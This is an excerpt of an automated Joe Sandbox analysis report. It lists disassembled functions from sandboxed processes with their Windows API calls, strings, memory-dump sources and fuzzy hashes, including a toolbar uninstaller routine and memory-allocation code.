Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: CreateEvent$CriticalInitializeSection
String ID:
API String ID: 926662266-0
Opcode ID: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction ID: 312f8d8d13b8a868d26f937b45fb8075aed367f1a83d8c92d196673213f535ba
Opcode Fuzzy Hash: 6e7557a2c0ebfea515044b23bc829654ad5a6134d5329468471647cedafa6715
Instruction Fuzzy Hash: 8F015A31610F0582E726DFA2B855BCA37E2F75D385F854529FA4A8B630EF3A8145C700

Function 00007FFDAC085C00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFDAC085C2A

Strings

csm, xrefs: 00007FFDAC085DBE
csm, xrefs: 00007FFDAC085C4F

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction ID: a9033f95390414428df578d1457c71d03723fac88dcb4f0de87b98eada1370c1
Opcode Fuzzy Hash: 7b854735182fbbf9032f6bb379489979c6e7540e10eb2e5c3fda445f13d9ec39
Instruction Fuzzy Hash: 4C71823260A6818AEB748F15946477D7BA0FB54BE4F14C135DE4C87B8ACB2CD461D74C

Function 00007FFDAC086298 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FFDAC086342
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FFDAC08636B

Strings

csm, xrefs: 00007FFDAC08646B

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction ID: 898aa93b742497ef252fb90a2958d3989fba25a01843d796979c27e0c8e33343
Opcode Fuzzy Hash: fdc43af78747129a673bd1320e44d2e2152711131f73500a528a0e9cffec3944
Instruction Fuzzy Hash: 4F515E3671AB4196D630AF15E45026E7BA4FB89BE0F109538EB8D07B56CF38E461DB08

Function 00007FFDAC08EA8C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FFDAC08EBA3
GetLastError.KERNEL32 ref: 00007FFDAC08EBC5

Strings

U, xrefs: 00007FFDAC08EB4F

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction ID: 1dd35de063abafbc7595bacd8de6eabc5a0ddab057c08abba736012461d27d19
Opcode Fuzzy Hash: 1bda24f103a1684070c02434e8f6c76fd55582b454c16690d6623519bbb42c9a
Instruction Fuzzy Hash: 4041D532B1AA4182DB20CF65E4543AA77A0FB98BE4F408031EE9E87795DF3CD451DB48

Function 0000000140012523 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

RaiseException.KERNEL32 ref: 000000014001256D
RaiseException.KERNEL32 ref: 000000014001258A

Strings

csm, xrefs: 00000001400125BE

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: ExceptionRaise
String ID: csm
API String ID: 3997070919-1018135373
Opcode ID: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction ID: 49e9958dea4625aba6399e71a496f31833793ec74c7c4936f150dd50c3eb5df3
Opcode Fuzzy Hash: dba88b77ed38871436108f768fa7b3f2c7bfcf036fc2a4a051b753ac1ce5513b
Instruction Fuzzy Hash: 1D315036204A8082D771CF16E09079EB365F78C7E4F544111EF9A077B5DB3AD892CB41

Function 00007FFDAC090910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDAC083A38: __except_validate_context_record.LIBVCRUNTIME ref: 00007FFDAC083A63

__GSHandlerCheckCommon.LIBCMT ref: 00007FFDAC090993

Strings

f, xrefs: 00007FFDAC090925
csm, xrefs: 00007FFDAC09092B

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: CheckCommonHandler__except_validate_context_record
String ID: csm$f
API String ID: 1543384424-629598281
Opcode ID: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction ID: 67ead92ac9278876deac68a229261b445595ed150de132fe90fe9e2591e1b38b
Opcode Fuzzy Hash: df4735a4e908aa111fba586a5857847e844898d503be1ccfbed92f1abe6d2401
Instruction Fuzzy Hash: D311B132B1979585EB209F66E4512A97764EB89FE4F08C035EE8807B57CF38D861D708

Function 0000000140003620 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003665
#4.VSELOG ref: 00000001400036AC

Strings

amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 000000014000368F

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Set: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-484248852
Opcode ID: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction ID: 814455377fd743a09d1ce94c7697c2570c7384a68551c8a3e3690f56dccab0e4
Opcode Fuzzy Hash: 590ed17bb6164494f623543e183e49ebce91c212c09f63c64337d20ba62503d7
Instruction Fuzzy Hash: 25114975608B4082EB21CF16B84079AB7A4F79DBD4F544225FF8847B79DB39C5508B40

Function 00007FFDAC083990 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFDAC08112F), ref: 00007FFDAC0839E0
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00007FFDAC08112F), ref: 00007FFDAC083A21

Strings

csm, xrefs: 00007FFDAC083A0E

Memory Dump Source

Source File: 00000005.00000002.2765479883.00007FFDAC081000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFDAC080000, based on PE: true

Associated: 00000005.00000002.2765462706.00007FFDAC080000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765503012.00007FFDAC092000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765556416.00007FFDAC09D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.2765573557.00007FFDAC09F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffdac080000_EMp3o1.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction ID: d21e5c7074c93faf3fa6cde89af3367c60497d3d31b1b95ad229fde64870252d
Opcode Fuzzy Hash: 886c576564c2cc2de453fb1cc39b3a925429a78efbd1798258f32c7f13ed655c
Instruction Fuzzy Hash: 8E112B32619B8182EB218B19E45026977E5FB88BA4F588230DFCD47B59DF3CD562DB08

Function 00000001400036E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39timeCOMMON

Download Yara Rule

APIs

SetWaitableTimer.KERNEL32 ref: 0000000140003725
#4.VSELOG ref: 0000000140003762

Strings

amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d, xrefs: 0000000140003745

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: TimerWaitable
String ID: amps_Get: pHandle=%p, propId=%d, val=%p, vSize=%d
API String ID: 1823812067-3336177065
Opcode ID: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction ID: 709d983207ec740d9f2c7308925ee729c80a4ac6442fb255827ec98b57545574
Opcode Fuzzy Hash: ec5ea581405e177efc46dfcfb63def396c6c184119c2e2df6ecfca0784b7c7fe
Instruction Fuzzy Hash: 731170B2614B8082D711CF16F480B9AB7A4F38CBE4F444216BF9C47B68CF78C5508B40

Function 00000001400137D0 Relevance: 5.0, APIs: 4, Instructions: 27memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000001400137EB
HeapFree.KERNEL32 ref: 00000001400137FD
GetProcessHeap.KERNEL32 ref: 0000000140013820
HeapFree.KERNEL32 ref: 0000000140013832

Memory Dump Source

Source File: 00000005.00000002.2765360873.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000005.00000002.2765344950.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765412481.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765429932.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2765446190.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_140000000_EMp3o1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction ID: 86a4b35954e85bb75ec39e114bccfc50e282ec3ca0152174d73c8df7cd9b4be4
Opcode Fuzzy Hash: 57607852ce15da45032583eecf595b266eb818b51a75700467a9fc2c410260bf
Instruction Fuzzy Hash: ADF07FB4615B4481FB078FA7B84479422E5EB4DBC0F481028AB494B3B0DF7A80998710

Analysis Process: G5CQjd.exePID: 4548, Parent PID: 6032COMMON

Executed Functions

Function 04DE017F Relevance: 2.8, APIs: 2, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 04DE01DF

Memory Dump Source

Source File: 00000028.00000003.3469066038.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_3_4de0000_G5CQjd.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction ID: 2daf944824bbb8cc6c2a535a587c465a65460416b3ee7f6bcc81d72ec857f7e8
Opcode Fuzzy Hash: 173a0753eb1870a11fb702d1a013be029f39be02b255bbe32865f3a9974466fd
Instruction Fuzzy Hash: 73A13A70A00626EFDB16DFAAC980ABEB7F5FF48304B148169E415DB251D7B0EA51CB90

Function 04DE044B Relevance: 2.6, APIs: 2, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004), ref: 04DE048B
VirtualFree.KERNELBASE(?,?,00004000), ref: 04DE04F1

Memory Dump Source

Source File: 00000028.00000003.3469066038.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_3_4de0000_G5CQjd.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 85e613f023628dd9a35c971c8f35ac366b6d7af4f068bcc7d0f9ba1c9b2aec73
Instruction ID: 31122c45f8b458042b7c588183f1f20478b02b77af4eb29194c5cbeedb3de88b
Opcode Fuzzy Hash: 85e613f023628dd9a35c971c8f35ac366b6d7af4f068bcc7d0f9ba1c9b2aec73
Instruction Fuzzy Hash: 7521C975A00215ABD721AEA58D84FBFB7F9EF04214F104468EA5AA2282D6B1B900D660

Non-executed Functions

Function 04DE00CD Relevance: 2.6, Strings: 2, Instructions: 62COMMON

Download Yara Rule

Strings

ntdl, xrefs: 04DE0142
l, xrefs: 04DE0149

Memory Dump Source

Source File: 00000028.00000003.3469066038.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_3_4de0000_G5CQjd.jbxd

Similarity

API ID:
String ID: l$ntdl
API String ID: 0-924918826
Opcode ID: 6c9c6db97d8771c7cf8e0db104e1040736491d6c0939765109556fa2b78a9631
Instruction ID: ef9004203ace7abaf4a0e0abcb55fae33cadfc542da46b03c1fcbdcb1ea3afff
Opcode Fuzzy Hash: 6c9c6db97d8771c7cf8e0db104e1040736491d6c0939765109556fa2b78a9631
Instruction Fuzzy Hash: 0011BFB5700A11AFDB16EF19C408A1EBBF6FF88714B218559E009D7710EB74EA21CBE5

Function 04DE0643 Relevance: 2.6, Strings: 2, Instructions: 55COMMON

Download Yara Rule

Strings

ntdl, xrefs: 04DE0684
l, xrefs: 04DE068E

Memory Dump Source

Source File: 00000028.00000003.3469066038.0000000004DE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_3_4de0000_G5CQjd.jbxd

Similarity

API ID:
String ID: l$ntdl
API String ID: 0-924918826
Opcode ID: 0c2c30aec7a625bf31c8c356953fe1e8142b6a83dabfcff9fbbd6bac14ed309e
Instruction ID: 1f897dac02f39eeea880021134faaf512c35ebf9ba47f65fea618204ab493af2
Opcode Fuzzy Hash: 0c2c30aec7a625bf31c8c356953fe1e8142b6a83dabfcff9fbbd6bac14ed309e
Instruction Fuzzy Hash: 95018871700114AFDB15EF99C845EAEFBB9EF85654F044069F904A7350DA70EE00CBA1

Analysis Process: G5CQjd.exePID: 6888, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.3%
Total number of Nodes:	1047
Total number of Limit Nodes:	29

Executed Functions

Function 00711000 Relevance: 29.8, APIs: 13, Strings: 4, Instructions: 73
libraryloadersynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitialize.OLE32(00000000), ref: 00711006
CreateMutexW.KERNELBASE(00000000,00000000,Global\IEToolbarUninstaller), ref: 00711013
GetLastError.KERNEL32 ref: 0071101F
GetCommandLineW.KERNEL32(?), ref: 00711040
CommandLineToArgvW.SHELL32(00000000), ref: 00711047
PathFileExistsW.KERNELBASE(tbcore3.dll), ref: 00711061
PathFileExistsW.KERNELBASE(tbcore3U.dll), ref: 00711073
LoadLibraryW.KERNELBASE(?), ref: 00711085
GetProcAddress.KERNEL32(00000000,MyUnregisterServer), ref: 00711097
FreeLibrary.KERNELBASE(00000000), ref: 007110A4
CloseHandle.KERNELBASE(00000000), ref: 007110AB
CoUninitialize.COMBASE ref: 007110B1
LocalFree.KERNEL32(00000000), ref: 007110BC

Strings

MyUnregisterServer, xrefs: 00711091
tbcore3U.dll, xrefs: 0071106E, 00711079
tbcore3.dll, xrefs: 0071105C, 00711067
Global\IEToolbarUninstaller, xrefs: 0071100C

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: CommandExistsFileFreeLibraryLinePath$AddressArgvCloseCreateErrorHandleInitializeLastLoadLocalMutexProcUninitialize
String ID: Global\IEToolbarUninstaller$MyUnregisterServer$tbcore3.dll$tbcore3U.dll
API String ID: 474438367-4110843154
Opcode ID: 436e64001422df092c7bb7c8ca7d0d67f732d3ea0f41b99828173f632dcc0220
Instruction ID: 814ff760058c00cb76301f16e0c5bfadb23a36d2d58c356ce0fe1f8c53a60962
Opcode Fuzzy Hash: 436e64001422df092c7bb7c8ca7d0d67f732d3ea0f41b99828173f632dcc0220
Instruction Fuzzy Hash: 7511D232A05259EB83609B6CAC48ADB3758FB4C751701C529F642D60D0DF6DC986C6BB

Function 00711465 Relevance: 3.0, APIs: 2, Instructions: 8
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 0071146D

Part of subcall function 0071143A: GetModuleHandleW.KERNEL32(mscoree.dll,?,00711472,?,?,007154EE,000000FF,0000001E,?,007136FC,?,00000001,?,?,00712A2A,00000018), ref: 00711444
Part of subcall function 0071143A: GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00711454

ExitProcess.KERNEL32 ref: 00711476

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: ExitProcess$AddressHandleModuleProc___crt
String ID:
API String ID: 2427264223-0
Opcode ID: 104446178f49452becf0f638dc357cdae872347aaefbf0a95dc39e4d96f5c575
Instruction ID: a7e9ef55239d8c2d10039e559b594f77c36eacc5121e2438a83f5e6810431cc2
Opcode Fuzzy Hash: 104446178f49452becf0f638dc357cdae872347aaefbf0a95dc39e4d96f5c575
Instruction Fuzzy Hash: B6B0923100014CFBDB022F1ADC0E88D3F2AFB807A0BA0C020F908490B1DF76AD929A95

Function 0071261B Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00712630

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: ac42449d4e93016a5d5476e31aa6379dedde12fe91ea85bb86f1bab9b4a611f7
Instruction ID: b9c976a3eaf4b8c7eba44132b7b63c4db75da95df30f449b456b5d7612dbad57
Opcode Fuzzy Hash: ac42449d4e93016a5d5476e31aa6379dedde12fe91ea85bb86f1bab9b4a611f7
Instruction Fuzzy Hash: D7D05E32A543889EDB405F796C087A23BDCD384395F10C436B90CC61D1E678C6918A08

Function 00711681 Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_doexit.LIBCMT ref: 0071168D

Part of subcall function 00711555: __lock.LIBCMT ref: 00711563
Part of subcall function 00711555: __decode_pointer.LIBCMT ref: 0071159A
Part of subcall function 00711555: __decode_pointer.LIBCMT ref: 007115AF
Part of subcall function 00711555: __decode_pointer.LIBCMT ref: 007115D9
Part of subcall function 00711555: __decode_pointer.LIBCMT ref: 007115EF
Part of subcall function 00711555: __decode_pointer.LIBCMT ref: 007115FC
Part of subcall function 00711555: __initterm.LIBCMT ref: 0071162B
Part of subcall function 00711555: __initterm.LIBCMT ref: 0071163B

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: __decode_pointer$__initterm$__lock_doexit
String ID:
API String ID: 1597249276-0
Opcode ID: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction ID: d276b4340be49223cc77b4be538260ff7967a89cb2e5c9cf61ed0c2443e47d19
Opcode Fuzzy Hash: 02276376eab60fb44a6de362a8cb41930a671a9c3f5feaa45b9c6d7d217bd1ad
Instruction Fuzzy Hash: 4EB0123258030C73DB20258AEC07F463F1E87C0BA4F650020FB0C1D1F1A9A3B9B180CA

Non-executed Functions

Function 007110CC Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

IsDebuggerPresent.KERNEL32 ref: 00711346
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0071135B
UnhandledExceptionFilter.KERNEL32(0071816C), ref: 00711366
GetCurrentProcess.KERNEL32(C0000409), ref: 00711382
TerminateProcess.KERNEL32(00000000), ref: 00711389

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: dfbd9b6c14d0c4c7c310279ca3163dc71817240ad5be03f498e1d85098bcd809
Instruction ID: 2c6f5c772727e1a77f504da246d0228678b2a99c8e8c5a83320fc1569c73273c
Opcode Fuzzy Hash: dfbd9b6c14d0c4c7c310279ca3163dc71817240ad5be03f498e1d85098bcd809
Instruction Fuzzy Hash: DD21EFB4A02A08EFCB51DF2CFD456D43BB0BB08352B40C01AE54886AE5EB7C5985CB5F

Function 007121E5 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 57
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,00719458,0000000C,00712320,00000000,00000000,?,0071174F,00000003,?,?,?,?,?,?,007110F6), ref: 007121F7
__crt_waiting_on_module_handle.LIBCMT ref: 00712202

Part of subcall function 007113E1: Sleep.KERNEL32(000003E8,00000000,?,00712148,KERNEL32.DLL,?,00712194,?,0071174F,00000003), ref: 007113ED
Part of subcall function 007113E1: GetModuleHandleW.KERNEL32(?,?,00712148,KERNEL32.DLL,?,00712194,?,0071174F,00000003,?,?,?,?,?,?,007110F6), ref: 007113F6

GetProcAddress.KERNEL32(00000000,EncodePointer), ref: 0071222B
GetProcAddress.KERNEL32(?,DecodePointer), ref: 0071223B
__lock.LIBCMT ref: 0071225D
InterlockedIncrement.KERNEL32(0071A4D8), ref: 0071226A
__lock.LIBCMT ref: 0071227E
___addlocaleref.LIBCMT ref: 0071229C

Strings

KERNEL32.DLL, xrefs: 007121F1, 007121F6, 00712201
DecodePointer, xrefs: 00712233
EncodePointer, xrefs: 0071221F

Memory Dump Source

Source File: 00000029.00000002.3482394324.0000000000711000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00710000, based on PE: true

Associated: 00000029.00000002.3482324357.0000000000710000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482527026.0000000000718000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3482826484.000000000071A000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000029.00000002.3483013696.000000000071C000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_710000_G5CQjd.jbxd

Similarity

API ID: AddressHandleModuleProc__lock$IncrementInterlockedSleep___addlocaleref__crt_waiting_on_module_handle
String ID: DecodePointer$EncodePointer$KERNEL32.DLL
API String ID: 1028249917-2843748187
Opcode ID: 3992cd856302958faa39ab3caf54851ed09449665e9e5c2d92852413fa9ee823
Instruction ID: 6015eba37c5c271b2f8a79cfabeef463cf08c8f0235b6de395fa68d7552e2e0d
